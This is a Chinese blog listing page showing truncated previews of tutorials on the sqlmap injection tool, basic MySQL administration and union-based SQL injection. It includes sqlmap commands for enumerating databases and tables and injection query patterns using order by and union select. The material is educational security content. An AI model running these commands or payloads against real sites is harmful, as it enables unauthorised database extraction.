Likhaooo的博客

文章目录sqlmap介绍get注入检测级别属性头注入sqlmap*优先指定检测注入执行命令自定义请求包注入注入的选择其他 sqlmap介绍 sqlmap是一款自动化得sql注入工具，主要功能扫描判断是否存在sql注入漏洞，发现并利用给定得url得sql注入漏洞 get注入 sqlmap.py -u “url” 检测 sqlmap.py -u “url” --dbs 爆出数据库名 sqlmap.py -u “url” --tables -D “数据库名” 爆表 sqlmap.py -u “url” --col

文章目录bin目录下各文件作用登录Mysql创建数据库 bin目录下各文件作用 Mysqladmin 日常管理命令总结 或重置密码 Mysql 用到操作数据库 Mysqld 用来开启数据库，或者关闭 Mysqlimport 数据库导入 登录Mysql mysql -h 127.0.0.1 -u roor -p 123456 -P 3306 -h你的ip -u用户名 -p密码 -P端口 创建数据库 Create database 数据库名; Create table admin( Username varch

文章目录sql注入分类联合查询1.order by2.union select联合查询3.获取表：4.获取字段5.获取字段内容 sql注入分类 1.布尔注入 2.联合注入 3.延时注入 4.报错注入 联合查询 1.order by select * from admin where user = 'admin' order by n//查看有几个字段数 2.union select联合查询 select * from admin where user = 'admin' union select vers